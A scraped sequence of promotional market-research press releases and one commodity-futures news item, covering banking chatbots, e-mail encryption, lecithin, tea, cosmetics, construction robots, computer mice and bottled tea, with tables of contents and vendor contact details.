single United States, single country or single region report can also published. As well as the region, all the segment data can be customized, type segment, industry segment, channel segment can be changed as the clients special requirement.This report also provide market forecast data, according the history of this industry, the future of the industry faces what situation, growth or decline, the price trend, market size trend, segment market trend will also be provided in the forecast chapter.The report analyze the manufacturing cost of the product, which is very important for the manufacturer and competitors, raw material price, manufacturing process cost, labor cost, energy cost, all these kinds of cost will affect the market trend, to know the manufacturing cost better, to know the market better.Besides, the report also covers segment data, including: type segment, industry segment, channel segment etc. cover different segment market size, both volume and value. Also cover different industries clients information, which is very important for the manufacturers.Sections:-Section 1: FreeDefinitionSection (2 3): 1200 USDManufacturer DetailIbm CorporationNuance Communications, Inc.Egain CorporationArtificial SolutionsCreative Virtual Pvt. Ltd.Next It CorporationCx CompanySpeaktoit, Inc.24/7 Customer, Inc.Codebaby (Idavatars), Inc.Section 4: 900 USDRegion SegmentationNorth America Country (United States, Canada)South AmericaAsia Country (China, Japan, India, Korea)Europe Country (Germany, UK, France, Italy)Other Country (Middle East, Africa, GCC).Enquiry About Report @Table Of Contents  Major Key PointsSection 1 Chatbot for Banking Product DefinitionSection 2 Global Chatbot for Banking Market Manufacturer Share and Market Overview2.1 Global Manufacturer Chatbot for Banking Shipments2.2 Global Manufacturer Chatbot for Banking Business Revenue2.3 Global Chatbot for Banking Market OverviewSection 3 Manufacturer Chatbot for Banking Business Introduction3.1 Ibm Corporation Chatbot for Banking Business Introduction3.1.1 Ibm Corporation Chatbot for Banking Shipments, Price, Revenue and Gross profit 2015-20183.1.2 Ibm Corporation Chatbot for Banking Business Distribution by Region3.1.3 Ibm Corporation Interview Record3.1.4 Ibm Corporation Chatbot for Banking Business Profile3.1.5 Ibm Corporation Chatbot for Banking Product Specification3.2 Nuance Communications, Inc. Chatbot for Banking Business Introduction3.2.1 Nuance Communications, Inc. Chatbot for Banking Shipments, Price, Revenue and Gross profit 2015-20183.2.2 Nuance Communications, Inc. Chatbot for Banking Business Distribution by Region3.2.3 Interview Record3.2.4 Nuance Communications, Inc. Chatbot for Banking Business Overview3.2.5 Nuance Communications, Inc. Chatbot for Banking Product Specification3.3 Egain Corporation Chatbot for Banking Business Introduction3.3.1 Egain Corporation Chatbot for Banking Shipments, Price, Revenue and Gross profit 2015-20183.3.2 Egain Corporation Chatbot for Banking Business Distribution by Region3.3.3 Interview Record3.3.4 Egain Corporation Chatbot for Banking Business Overview3.3.5 Egain Corporation Chatbot for Banking Product Specification3.4 Artificial Solutions Chatbot for Banking Business Introduction3.5 Creative Virtual Pvt. Ltd. Chatbot for Banking Business Introduction3.6 Next It Corporation Chatbot for Banking Business IntroductionSection 4 Global Chatbot for Banking Market Segmentation (Region Level)4.1 North America Country4.1.1 United States Chatbot for Banking Market Size and Price Analysis 2015-20184.1.2 Canada Chatbot for Banking Market Size and Price Analysis 2015-20184.2 South America Country4.2.1 South America Chatbot for Banking Market Size and Price Analysis 2015-20184.3 Asia Country4.3.1 China Chatbot for Banking Market Size and Price Analysis 2015-20184.3.2 Japan Chatbot for Banking Market Size and Price Analysis 2015-20184.3.3 India Chatbot for Banking Market Size and Price Analysis 2015-20184.3.4 Korea Chatbot for Banking Market Size and Price Analysis 2015-20184.4 Europe Country4.4.1 Germany Chatbot for Banking Market Size and Price Analysis 2015-20184.4.2 UK Chatbot for Banking Market Size and Price Analysis 2015-20184.4.3 France Chatbot for Banking Market Size and Price Analysis 2015-20184.4.4 Italy Chatbot for Banking Market Size and Price Analysis 2015-20184.4.5 Europe Chatbot for Banking Market Size and Price Analysis 2015-20184.5 Other Country and Region4.5.1 Middle East Chatbot for Banking Market Size and Price Analysis 2015-20184.5.2 Africa Chatbot for Banking Market Size and Price Analysis 2015-20184.5.3 GCC Chatbot for Banking Market Size and Price Analysis 2015-20184.6 Global Chatbot for Banking Market Segmentation (Region Level) Analysis 2015-20184.7 Global Chatbot for Banking Market Segmentation (Region Level) AnalysisSection 5 Global Chatbot for Banking Market Segmentation (Product Type Level)5.1 Global Chatbot for Banking Market Segmentation (Product Type Level) Market Size 2015-20185.2 Different Chatbot for Banking Product Type Price 2015-20185.3 Global Chatbot for Banking Market Segmentation (Product Type Level) AnalysisSection 6 Global Chatbot for Banking Market Segmentation (Industry Level)6.1 Global Chatbot for Banking Market Segmentation (Industry Level) Market Size 2015-20186.2 Different Industry Price 2015-20186.3 Global Chatbot for Banking Market Segmentation (Industry Level) AnalysisSection 7 Global Chatbot for Banking Market Segmentation (Channel Level)7.1 Global Chatbot for Banking Market Segmentation (Channel Level) Sales Volume and Share 2015-20187.2 Global Chatbot for Banking Market Segmentation (Channel Level) AnalysisContinuedBuy 1-user PDF @ABOUT US:Wise Guy Reports is part of the Wise Guy Consultants Pvt. Ltd. and offers premium progressive statistical surveying, market research reports, analysis & forecast data for industries and governments around the globe. Wise Guy Reports features an exhaustive list of market research reports from hundreds of publishers worldwide. We boast a database spanning virtually every market category and an even more comprehensive collection of market research reports under these categories and sub-categories.Office No.528,Amanora Chambers,Magarpatta Road,Hadapsar,Pune-411028.Global E-mail Encryption Market Deep Analysis by Key Players Data Motion, Proofpoint, EdgeWave, Trend Micro, Cryptzone, Symantec, Sophos

E-MAIL ENCRYPTION

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Email encryption is encryption of email messages to protect the content from being read by entities other than the intended recipients. Email encryption may also include authentication.Email is prone to disclosure of information. Most emails are currently transmitted in the clear (not encrypted) form. By means of some available tools, persons other than the designated recipients can read the email contents.Get Sample PDF Copy Email Encryption Market Report@Email encryption can rely on public-key cryptography, in which users can each publish a public key that others can use to encrypt messages to them, while keeping secret a private key they can use to decrypt such messages or to digitally encrypt and sign messages they send.There are 3 key segments covered in this report: geography segment, end use/application segment and competitor segment.For geography segment, regional supply, application-wise and type-wise demand, major players, price is presented from 2013 to 2023. This report coverss following regions:*North America*South America*Asia & Pacific*Europe*MEA (Middle East and Africa)Grab Guaranteed Discount@The key countries in each region are taken into consideration as well, such as United States, China, Japan, India, Korea, ASEAN, Germany, France, UK, Italy, Spain, CIS, and Brazil etc.For end use/application segment, this report focuses on the status and outlook for key applications. End users also can be listed.For competitor segment, the report includes global key players of E-mail Encryption as well as some small players. The compnaies include:Data Motion, Proofpoint, EdgeWave, Trend Micro, Cryptzone, Symantec, Sophos, LuxSci, Privato et al.The information for each competitor includes:*Company Profile*Main Business Information*SWOT Analysis*Sales, Revenue, Price and Gross Margin*Market ShareWe also can offer customized report to fulfill special requirements of our clients.Buy Now@TABLE OF CONTENTSChapter 1 Executive SummaryChapter 2 Abbreviation and AcronymsChapter 3 Preface3.1 Research Scope3.2 Research Methodology3.2.1 Data Collection3.2.2 Data Analysis3.2.3 Data Validation3.3 Research Sources3.3.1 Primary Sources3.3.2 Secondary Sources3.3.3 AssumptionsChapter 4 Market Landscape4.1 Market Overview4.2 Classification/Types4.3 Application/End UsersChapter 5 Market Trend Analysis5.1 Introduction5.2 Drivers5.3 Restraints5.4 Opportunities5.5 ThreatsChapter 6 Industry Chain Analysis6.1 Upstream/Suppliers Analysis6.2 E-mail Encryption Analysis6.2.1 Technology Analysis6.2.2 Cost Analysis6.2.3 Market Channel Analysis6.3 Downstream Buyers/End UsersChapter 7 Latest Market Dynamics7.1 Latest News7.2 Merger and Acquisition7.3 Planned/Future Project7.4 Policy DynamicsChapter 8 Trading Analysis8.1 Export of E-mail Encryption by Region8.2 Import of E-mail Encryption by Region8.3 Balance of TradeAbout Us:Research Reports Inc. is one of the leading destinations for market research reports across all industries, companies, and technologies. Our repository features an exhaustive list of market research reports from thousands of publishers worldwide.Contact US:US / Canada Toll Free: +18554192424, UK :+4403308087757 | Email: info@researchreportsinc.comLecithin Market 2024 | Cargill, Inc., Sternchemie GmbH & Co. KG, American Lecithin Company, Thew Arnott & Co. Ltd., Lipoid GmbH, E. I. du Pont de Nemours and Co

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According to a Research Report Insights (RRI) report, the global market for lecithin is anticipated to reflect a CAGR of over 5% during 2016-2014. In 2015, the market was estimated at US$ 770.5 Million and is expected to stand at US$ 1225 Million in terms of value by the end of 2024.Lecithin is used as a food additive and food emulsifier in several food items in order to add desirable attributes for making them more appealing to the consumers. As an emulsifier lecithin enhances the texture of food items such as in salad dressing. Growing preference for low-calorie food and increasing demand for packaged or convenience food across the globe are the two major factors expected to drive the growth of global lecithin market. Amongst various food emulsifier products, demand for lecithin is anticipated to relatively higher in the near future.Based on source type, the global market for lecithin has been segmented into sunflower, soya bean, and others. Soya bean is expected to be the largest segment of the market and is anticipated to witness a robust growth.Request For Report Sample:Based on form type, the market has been segmented into powder, granules and liquid. In terms of revenue, liquid segment is expected to account for the largest share. The segment is closely followed by powder and granules segment.By applications, the market has been segmented into pharmaceuticals, animal feed, food & beverage, industrial purpose and cosmetics. The food & beverage is expected to be the leading segment over the forecast period owing to the recent inclination of consumers towards natural ingredients for various food items. Food manufacturers are focusing on offering food products without GMO (genetically modified organism) ingredients to meet the expectation of the consumers. Moreover, food processing companies are launching new products to suit the growing demand for healthy ingredients in convenience food such as ready-to-eat items. According to US FDA, partially hydrogenated oils (PHOs) do not fall under the category of Generally Recognized As Safe (GRAS) food items.Likewise, food manufacturers are emphasizing on developing non-GMO ingredients and raw materials substitutes. Further, most food processing companies are also focusing on production volume expansion. Higher production of lecithin will enable manufacturers to serve a larger base of customers and impact the price margins of lecithin across the globe.Request For Reprot discount:On the basis of region, the global market for lecithin has been segmented into Europe, North America, Asia Pacific, Latin America, and the Middle East & Africa (MEA). Europe, North America and Asia Pacific, are anticipated to register strong growth rates during the forecast period. In 2016, North America is expected to account for the highest share of the market, followed by Europe and Asia Pacific respectively. In addition, the North America is expected to continue as the leading market over 2024 and is anticipated to account for over 37% share of the market in revenues. Demand for lecithin is expected to grow significantly in Asia Pacific during the forecast period. Countries such as China and India is expected to reflect an overwhelming demand for lecithin, which in turn is will support the market growth in the region.Key PlayersKey players operating in the global market for lecithin includes Cargill, Inc., Sternchemie GmbH & Co. KG, American Lecithin Company, Thew Arnott & Co. Ltd., Lipoid GmbH, E. I. du Pont de Nemours and Co, Archer Daniels Midland Company, NOW Foods, and Bunge Limited. Most of these companies the formulating strategies and actively focusing on better product offering.Report Analysis:Research Report Insights (RRI) is a leading market intelligence and consulting firm. We deliver a host of services including custom research reports, syndicated research reports, and consulting services which are personalized in nature. RRI delivers a complete packaged solution to clients; this combines current market intelligence, technology inputs, statistical anecdotes, valuable growth insights, 360-degree view of the competitive framework, and anticipated market trendsResearch Report Insights (RRI42 Joseph StreetPort carling P0B 1J0Muskoka, Ontario1Phone - +1-631-721-4201Website:Email: sales@researchreportinsights.comThe global market for Tea is estimated to reach US$ 21.33 Billion by the end of 2024

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According to a Research Report Insights (RRI) report, the global market for tea Market is estimated to surpass US$ 21 Billion, reflecting a 5% CAGR during the forecast period. The market is expected to reach 14.45 Billion by the end of 2016 up from US$ 13.85 Billion in 2015, registering a Y-o-Y growth rate of 4%.Most consumers demand good quality and unique flavor in tea. Tea producers across the globe are constantly focusing on developing unique and authentic flavors to offer highest consumer satisfaction. Tea producers are looking forward to introducing new blends and flavors in tea products such as mint flavor, lemon flavor, chocolate flavor, fruit flavor, and others. There are more than 500 varieties of tea Market found worldwide. Thus, tea lounges are offering varieties of tea product with variants of blend, color and flavor in order to attract more consumer. Moreover, increasing consumer awareness on health and fitness and the growing need for people to have more human interactions and unplug themselves is expected to support the growth of tea-specific beverage outlets across the globe. Therefore, increasing penetration of the tea cafes and rise of lounge culture, especially in regions such as Asia Pacific and Americas is further anticipated to sustain the market growth for tea in the near future.Request For Report Sample:The global market for Tea is estimated to reach US$ 21.33 Billion by the end of 2024Based on types, the global market for tea Market has been segmented into oolong tea, black tea, herbal tea green tea, and others. Black tea is expected to be the predominant segment, witnessing a robust growth, followed by the green tea segment. Factors such as growing consumption of tea-specific beverages amongst young adults in both developed and developing regions are two of the major factors influencing the overall growth of the market.Based on distribution channel type, the market has been segmented into convenience stores, online stores, hyper/super market, retail stores, and others. The hyper/super market segment is anticipated to witness a significant growth due to increasing consumer base and easy availability of different type of tea flavors in such market. Due to aggressive promotional strategies implemented by tea producers, awareness on health benefits from consumption of tea has spread vehemently across the globe. This, in turn, is appealing people to start drinking tea Market on regular basis, which is further fueling the demand for tea products globally.Request For Reprot discount:On the basis of region, the global market for tea has been segmented into Europe, North America, Asia Pacific (APAC), Latin America and the Middle East and Africa (MEA). The markets in Europe, Asia Pacific and North America are anticipated to grow at healthy rates during 2016 to 2024. In addition, North America is expected to account for a relatively higher value share of the market by 2016 end, followed by Europe and APAC respectively. The region is expected to continue its dominance, gaining 210 BPS and is estimated to account for over 37% share of the market in revenues during the forecast period. The market in Asia Pacific is also anticipated to witness significant growth over the forecast period. Further, increasing demand for non-GMO ingredients is a primary factor driving the tea market in the region. APAC countries such as China and India are set to witness a healthy growth of their domestic tea market.Vendor NewsKey participants in the global market for tea include Starbucks Corporation, Associated British Foods, Akbar Brothers Ltd, Tata Global Beverages (Tata Tea Ltd.), DAVIDs TEA, Unilever, WISSOTZKY TEA, Nestle S.A, The Republic of Tea.Report Analysis:Research Report Insights (RRI) is a leading market intelligence and consulting firm. We deliver a host of services including custom research reports, syndicated research reports, and consulting services which are personalized in nature. RRI delivers a complete packaged solution to clients; this combines current market intelligence, technology inputs, statistical anecdotes, valuable growth insights, 360-degree view of the competitive framework, and anticipated market trendsResearch Report Insights (RRI42 Joseph StreetPort carling P0B 1J0Muskoka, Ontario1Phone - +1-631-721-4201Website:Email: sales@researchreportinsights.comChicago Board of Trade (CBOT) agricultural futures closed higher on Tuesday over optimism on U.S.-China trade talks and upbeat export data.

The most active soybean contract for March delivery was up 12.5 cents, or 1.38 percent, to settle at 9.175 U.S. dollars. March corn was up 5.5 cents, or 1.48 percent, to close at 3.7825 dollars per bushel. March wheat went up 1.75 cents, or 0.34 percent, to settle at 5.20 dollars per bushel.

A new round of high-level trade talks between the United States and China will be held in Beijing later this week. Market participants keep a close eye on the talks, hoping for progress which they believe will support more soybean sales to China.

Bargain buying after a one percent fall during the previous session also contributed to the rally of soybeans on Tuesday, said analysts.

The U.S. Department of Agriculture (USAD) confirmed on Tuesday export sales of 122,376 metric tons of corn for delivery to unknown destinations during the 2018/2019 marketing year, which boosted CBOT corn futures.

The USDA export sales report of large amount of hard red winter wheat for delivery to Nigeria and Egypt continued to push up wheat prices.

Meanwhile, the retreat of U.S. dollar was another bullish factor, which would make U.S. commodities more competitive.Cosmetics Market 2019 By Key Players L'Oreal P&G Unilever Estee Lauder KAO Shiseido Avon lvmh Chanel Amore Pacific Jahwa Beiersdorf Johnson & Johnson Jialan Inoherb Sisley Revlon Jane iredale Henkel Coty

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Cosmetics are care substances used to enhance the appearance or odor of the human body. Traditionally cosmetics include skin care, color cosmetics, hair care, nail care, oral care and perfumery & deodorants.Request a Sample of this Report @In terms of value, USA sales account for 13%-14% of total market share, EU growing at a good pace owing to large population and high economic growth rate occupies the 20% market share of the global consumption value. The increasing demand for skin care drives Cosmetics industry developing fast. For the brand owners, such as L'Oreal, Shiseido and Kao are very popular in the world.For the production, China is the largest production region contributing to nearly 23%-25% market share. They provide a wide range of services for many famous brands with lower processing cost.Due to the higher price and gross margin of high-end products compared with the low-end products, in the next few years, companies will invest much more on R&D and transfer to high-end product field.The worldwide market for Cosmetics is expected to grow at a CAGR of roughly xx% over the next five years, will reach xx million US$ in 2024, from xx million US$ in 2019, according to a new GIR (Global Info Research) study.This report focuses on the Cosmetics in global market, especially in North America, Europe and Asia-Pacific, South America, Middle East and Africa. This report categorizes the market based on manufacturers, regions, type and application.Browse the Full Report @This report covers Analysis of Global Cosmetics Market Segment by ManufacturersL'OrealP&GUnileverEstee LauderKAOShiseidoAvonlvmhChanelAmore PacificJahwaBeiersdorfJohnson & JohnsonJialanInoherbSisleyRevlonJane iredaleHenkelCotyGlobal Cosmetics Market Segment by regional analysis coversNorth America (USA, Canada and Mexico)Europe (Germany, France, UK, Russia and Italy)Asia-Pacific (China, Japan, Korea, India and Southeast Asia)South America (Brazil, Argentina, Columbia etc.)Middle East and Africa (Saudi Arabia, UAE, Egypt, Nigeria and South Africa)Make an enquiry before buying this report @Global Cosmetics Market Segment by TypePersonal CareColor CosmeticsPerfumesOtherGlobal Cosmetics Market Segment by Applications, can be divided intoHair CareSkin CareMake-upFragranceOtherSome of the Points cover in Global Cosmetics Market Research Report is:Chapter 1: Describe Cosmetics Industry Introduction, Product Scope, Market Overview, Market Opportunities, Market Risk, Market Driving ForceChapter 2: To analyze the top manufacturers of Cosmetics Industry in 2016 and 2017 Sales Revenue and priceChapter 3: Competitive analysis among the top manufacturers in 2016 and 2017 Sales Revenue and market shareChapter 4: Global Cosmetics Market by regions from 2014 to 2019 Sales Revenue and market shareChapter 5, 6, 7 and 8: Global Cosmetics Market by key countries in these regions Sales Revenue and market shareChapter 9 and 10: Global Cosmetics Market by type and application from 2014 to 2019 Sales Revenue and market share Growth rateChapter 11:Cosmetics Industry Market forecast from 2019 to 2024 Regions Type and application with sales and revenueChapter 12 and 13:Cosmetics Industry Sales channel Distributors Traders and dealers Appendix Data sourceOrbis Research (orbisresearch.com) is a single point aid for all your market research requirements. We have vast database of reports from the leading publishers and authors across the globe. We specialize in delivering customized reports as per the requirements of our clients. We have complete information about our publishers and hence are sure about the accuracy of the industries and verticals of their specialization. This helps our clients to map their needs and we produce the perfect required market research study for our clients.Hector CostelloSenior Manager  Client Engagements4144N Central Expressway,Suite 600, Dallas,Texas - 75204, U.S.A.Phone No.: +1 (214) 884-6817; +912064101019Construction Robot Market 2019 Emerging Technology Trends by Top Key Players - Komatsu, Autonomous Solutions, Husqvarna, Esko Bionics, Brokk AB, Fastbrick Robotics, Conjet AB

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The "Global Construction Robot Market Analysis to 2025" is a specialized and in-depth study of Construction Robot industry with a focus on the global market trend. The report aims to provide an overview of Global Construction Robot Market along with detailed segmentation of market by applications, end-users and five major geographical regions. The report provides key statistics on the market status of the important market players and offers key trends and opportunities in the market.The report intends to provide cutting-edge market intelligence and help decision makers take sound investment evaluation. Besides, the report also identifies and analyses the emerging trends along with major drivers, challenges and opportunities in the global Construction Robot market. Additionally, the report also highlights market entry strategies for various companies across the globe.Get Sample Report with TOC, NOW @The key market players covered in the report are: Komatsu Autonomous Solutions Husqvarna Esko Bionics Brokk AB Fastbrick Robotics TopTec Spezialmaschinen GmbH Conjet AB Apis Cor Construction RoboticsThe report also includes the profiles of key Construction Robot manufacturing companies along with their SWOT analysis and market strategies. In addition, the report focuses on leading industry players with information such as company profiles, products and services offered, financial information of last 3 years, key development in past five years.By Type Robotic Arm Traditional Robot ExoskeletonBy Automation Semi-Autonomous Fully AutonomousBy Function Demolition Bricklaying Finishing Work Doors And Windows Installations 3D Printing Concrete Structural Erection OtherBy Vertical Nuclear Dismantling And Demolition Commercial And Residential Buildings Public Infrastructure OtherGet Discounts and Customized Details @The report provides a detailed overview on the industry including both qualitative and quantitative information. It provides market size and forecast till 2025 for overall in Construction Robot market with respect to five major regions, namely; North America, Europe, Asia-Pacific, South America, Middle East and Africa. The market by each region is later sub-segmented by respective countries and segments. The report covers analysis and forecast of 13 counties globally along with current trend and opportunities prevailing in the region.The industry report centered on our distinctive research methodology delivers comprehensive analytical appraisal of this Global Construction Robot Market spread across several sections. The report additionally is composed of current dimensions and outline of this market with this industry combined with prognosis prospects. Moreover, the key Market players of Construction Robot are studied in many aspects like company summary, product portfolio, and sales details throughout the year. Additionally, the entire potential of this current industry is briefed in the complete report.Do Inquiry Before Accessing Global Construction Robot Market Report @About Us:Global Info Reports is a pioneer in off-the-rack market research. We study markets across the globe to assist our clients to analyze competitive activity and perceive further than market disruptions, and eventually grow intellectual business strategies. We offer vast portfolio of research reports with respect to geographical coverage, topics, and profiled companies. Global Info Reports has an experienced and skilled team which is dedicated to top-notch analysis and research. Our research team comprehends the demands of its clients and therefore keeps updating the reports as the market requirement changes. Our in-house professionals are highly motivated towards their work and meet the clients demands and deadlines irrespective of any time zone, thereby impeccably delivering projects.Contact Us:Call: +1-888-248-7621Email: sales@globalinforeports.com539 West Commerce, Suite #499, Dallas TX 75208, United StatesComputing Mouse Market 2019- Global Industry Analysis, By Key Players, Segmentation, Trends and Forecast By 2023

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Global Computing Mouse Market by Manufacturers, Regions, Type and Application, Forecast to 2023Wiseguyreports.Com Adds Computing Mouse - Market Demand, Growth, Opportunities, Manufacturers and Analysis of Top Key Players to 2023 To Its Research DatabaseGeographically, this report is segmented into several key Regions, with production, consumption, revenue (M USD), market share and growth rate of Computing Mouse in these regions, from 2012 to 2023 (forecast), coveringNorth America (United States, Canada and Mexico)Europe (Germany, France, UK, Russia and Italy)Asia-Pacific (China, Japan, Korea, India and Southeast Asia)South America (Brazil, Argentina, Columbia)Middle East and Africa (Saudi Arabia, UAE, Egypt, Nigeria and South Africa)Global Computing Mouse market competition by top manufacturers, with production, price, revenue (value) and market share for each manufacturer; the top players includingRazerCorsairA4TECHLogitechRAPOOGenius(KYE Systems Corp)SteelSeriesMADCATZRoccatMionixCOUGARAZioGet Sample Report of Computing Mouse Market@On the basis of product, this report displays the production, revenue, price, market share and growth rate of each type, primarily split intoWireless MouseWire MouseOn the basis on the end users/applications, this report focuses on the status and outlook for major applications/end users, consumption (sales), market share and growth rate of Computing Mouse for each application, includingOffice MouseGaming MouseOthersIf you have any special requirements, please let us know and we will offer you the report as you want.Complete report with Comprehensive Table of Contents@Major Key Points in Table of ContentGlobal Computing Mouse Market by Manufacturers, Regions, Type and Application, Forecast to 20231 Report Overview1.1 Definition and Specification1.2 Report Overview1.2.1 Manufacturers Overview1.2.2 Regions Overview1.2.3 Type Overview1.2.4 Application Overview1.3 Industrial Chain1.3.1 Computing Mouse Overall Industrial Chain1.3.2 Upstream1.3.3 Downstream1.4 Industry Situation1.4.1 Industrial Policy1.4.2 Product Preference1.4.3 Economic/Political Environment1.5 SWOT Analysis4 Manufacturers Profiles/Analysis4.1 Razer4.1.1 Razer Profiles4.1.2 Razer Product Information4.1.3 Razer Computing Mouse Business Performance4.1.4 Razer Computing Mouse Business Development and Market Status4.2 Corsair4.2.1 Corsair Profiles4.2.2 Corsair Product Information4.2.3 Corsair Computing Mouse Business Performance4.2.4 Corsair Computing Mouse Business Development and Market Status4.3 A4TECH4.3.1 A4TECH Profiles4.3.2 A4TECH Product Information4.3.3 A4TECH Computing Mouse Business Performance4.3.4 A4TECH Computing Mouse Business Development and Market Status4.4 Logitech4.4.1 Logitech Profiles4.4.2 Logitech Product Information4.4.3 Logitech Computing Mouse Business Performance4.4.4 Logitech Computing Mouse Business Development and Market Status4.5 RAPOO4.5.1 RAPOO Profiles4.5.2 RAPOO Product Information4.5.3 RAPOO Computing Mouse Business Performance4.5.4 RAPOO Computing Mouse Business Development and Market Status4.6 Genius(KYE Systems Corp)4.6.1 Genius(KYE Systems Corp) Profiles4.6.2 Genius(KYE Systems Corp) Product Information4.6.3 Genius(KYE Systems Corp) Computing Mouse Business Performance4.6.4 Genius(KYE Systems Corp) Computing Mouse Business Development and Market Status4.7 SteelSeries4.7.1 SteelSeries Profiles4.7.2 SteelSeries Product Information4.7.3 SteelSeries Computing Mouse Business Performance4.7.4 SteelSeries Computing Mouse Business Development and Market Status4.8 MADCATZ4.8.1 MADCATZ Profiles4.8.2 MADCATZ Product Information4.8.3 MADCATZ Computing Mouse Business Performance4.8.4 MADCATZ Computing Mouse Business Development and Market Status4.9 Roccat4.9.1 Roccat Profiles4.9.2 Roccat Product Information4.9.3 Roccat Computing Mouse Business Performance4.9.4 Roccat Computing Mouse Business Development and Market Status4.10 Mionix4.10.1 Mionix Profiles4.10.2 Mionix Product Information4.10.3 Mionix Computing Mouse Business Performance4.10.4 Mionix Computing Mouse Business Development and Market Status4.11 COUGAR4.12 AZio12 Market Forecast 2019-202412.1 Sales (K Units), Revenue (M USD), Market Share and Growth Rate 2019-202412.1.1 Global Computing Mouse Sales (K Units), Revenue (M USD) and Market Share by Regions 2019-202412.1.2 Global Computing Mouse Sales (K Units) and Growth Rate 2019-202412.1.3 Asia-Pacific Computing Mouse Sales (K Units), Revenue (M USD) and Growth Rate 2019-202412.1.4 Asia-Pacific Computing Mouse Sales (K Units), Revenue (M USD) and Growth Rate 2019-202412.1.5 Europe Computing Mouse Sales (K Units), Revenue (M USD) and Growth Rate 2019-202412.1.6 South America Computing Mouse Sales (K Units), Revenue (M USD) and Growth Rate 2019-202412.1.7 Middle East and Africa Computing Mouse Sales (K Units), Revenue (M USD) and Growth Rate 2019-202412.2 Sales (K Units), Revenue (M USD) by Types 2019-202412.2.1 Overall Market Performance12.2.2 Wireless Mouse Sales (K Units), Revenue (M USD) and Growth Rate 2019-202412.2.3 Wire Mouse Sales (K Units), Revenue (M USD) and Growth Rate 2019-202412.3 Sales by Application 2019-202412.3.1 Overall Market Performance12.3.2 Office Mouse Sales and and Growth Rate 2019-202412.3.3 Gaming Mouse Sales and and Growth Rate 2019-202412.3.4 Others Sales and and Growth Rate 2019-202412.4 Price (USD/Unit) and Gross Profit12.4.1 Global Computing Mouse Price (USD/Unit) Trend 2019-202412.4.2 Global Computing Mouse Gross Profit Trend 2019-2024Continued................Contact US:NORAH TRENTPartner Relations & Marketing Managersales@wiseguyreports.comPh: +1-646-845-9349 (US)Ph: +44 208 133 9349 (UK)About Us:Wise Guy Reports Is Part Of The Wise Guy Consultants Pvt. Ltd. And Offers Premium Progressive Statistical Surveying, Market Research Reports, Analysis & Forecast Data For Industries And Governments Around The Globe. Wise Guy Reports Features An Exhaustive List Of Market Research Reports From Hundreds Of Publishers Worldwide. We Boast A Database Spanning Virtually Every Market Category And An Even More Comprehensive Collection Of Market Research Reports Under These Categories And Sub-Categories.Addres:: Wise Guy Research Consultants Pvt Ltd: Pune  411028: Maharashtra,: Ph: +91 841 198 5042Global Bottled Tea Market Size, Share, Growth, Trends and Forecast by 2023 | Top Key Players  Suntory Holdings Ltd, Nestle S.A, The Coca-Cola Company, Tsing Hsin International Group, PepsiCo Inc

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A recent report by KD market insights titled as "Bottled Tea Market  By Product Type (Still Bottled Tea, Sparkling Bottled Tea), By Flavor Type (Black Tea, Green Tea, Red Tea, Oolong Tea, Jasmine Tea, Herbal Tea, Fruit Tea) By Sales Channel (HORECA, Modern Trade, Speciality Stores, Departmental Stores, Convenience Stores, Drug Stores, Online Retailers, other Sales Channel), By Nature (Conventional, Organic) & Global Region - Market Size, Share, Trends and Forecast 2018-2023" provides the key trends, opportunities and challenges market will face in the forecasted period of 6 years i.e. 2018-2023. The study also provides the Bottled Tea Market. competitors share and region wise analysis around the globe.Global Bottled Tea Market witnessed a market value of USD XX Million in 2017 and is estimated to reach USD XX million in 2023, registering a compound annual growth rate (CAGR) of XX% between 2017 and 2023.The market research report demonstrates market dynamics which includes growth drivers, restraining factors and opportunities and trends spearheading current nature and future status of this market. Our general approach is to target several individuals with specific questions that we believed would satisfy our research objective. Further, to speed up the data collection process, we employed an online survey, delivered via email. The research team analyzed the results to identify potential opportunities and risks for the market.Request for Sample @The report begins with an overview for Bottled Tea Market. The research report broadly covers analysis of key market drivers, challenges, opportunities and trends. The study also provides separate analysis to understand market size, projections and macroeconomic indicators of global regions that affects the market share. The report also offers an extensive coverage of various industry players along with their recent product launches and market activities. The report also goes through porters five analyses for getting a better understanding about the forces that shape competition within the industry. There is a timeline considered for useful analysis i.e. 2017 is considered as base year, 2018 as estimated year and 2019-2023 as forecasted year.The market is divided into various segments and further sub-segments to drive the useful insights that can be utilized for company revenue growth and business. The Bottled Tea Market is segmented on the basis of By Product Type, By Flavor Type, By Sales Channel, By Nature and by Geographies.Market SegmentationThe research offers a comprehensive analysis of global Bottled Tea market with respect to following sub-markets:Based on Product Type:- Still Bottled Tea- Sparkling Bottled TeaBased on Flavor Type:- Black Tea- Green Tea- Red Tea- Oolong Tea- Jasmine Tea- Herbal Tea- Fruit TeaBased on Sales Channel:- HORECA- Modern Trade- Speciality Stores- Departmental Stores- Convenience Stores- Drug Stores- Online Retailers- Other Sales ChannelBased on Nature:- Conventional- OrganicThe research also does a separate geographical analysis that comprises both the region wise and country wise analysis. The geography covered in the report is North America (U.S. & Canada), Europe (Germany, United Kingdom, France, Italy, Spain, Russia and Rest of Europe) , Asia Pacific (China, India, Japan, South Korea, Indonesia, Taiwan, Australia, New Zealand and Rest of Asia Pacific) Latin America (Brazil, Mexico, Argentina and Rest of Latin America) and Middle East & Africa (GCC, North Africa, South Africa and Rest of Middle East & Africa). As per the report, Asia Pacific is likely to be the market giant in the upcoming years.The report includes profiles of leading companies in the global Bottled Tea Market. Some of the key players profiled include:- Suntory Holdings Ltd- Nestle S.A- The Coca-Cola Company- Tsing Hsin International Group- PepsiCo Inc- Monster Beverage Company.- Uni-President Enterprises- JDP Group- Arizona Beverage Company- OISHI GROUP- Other Major & Niche Key PlayersThese vendors have adopted various types of organic and inorganic growth strategies, such as new product launches, business expansions, partnerships and collaborations, and mergers and acquisitions, to expand their offerings and further expand their presence in the global Bottled Tea Market.Browse Full Report With TOC@Table of Contents@Research MethodologyMarket Definition and List of Abbreviations1. Executive Summary2. Growth Drivers & Issues in Global Bottled Tea Market3. Global Bottled Tea Market Trends4. Opportunities in Global Bottled Tea Market5. Recent Industry Activities, 20176. Porter's Five Forces Analysis7. Market Value Chain and Supply Chain Analysis8. Global Bottled Tea Market Size (USD Million), Forecast & Y-o-Y Growth Analysis, 2017-20239. Global Bottled Tea Market Segmentation Analysis, By Product Type9.1. Introduction9.2. Market Attractiveness, By Product Type9.3. BPS Analysis, By Product Type9.4. Still Bottled Tea Market Size (USD Million), Forecast & Y-o-Y Growth Analysis, 2017-20239.5. Sparkling Bottled Tea Market Size (USD Million), Forecast & Y-o-Y Growth Analysis, 2017-202310. Global Bottled Tea Market Segmentation Analysis, By Flavor Type10.1. Introduction10.2. Market Attractiveness, By Flavor Type10.3. BPS 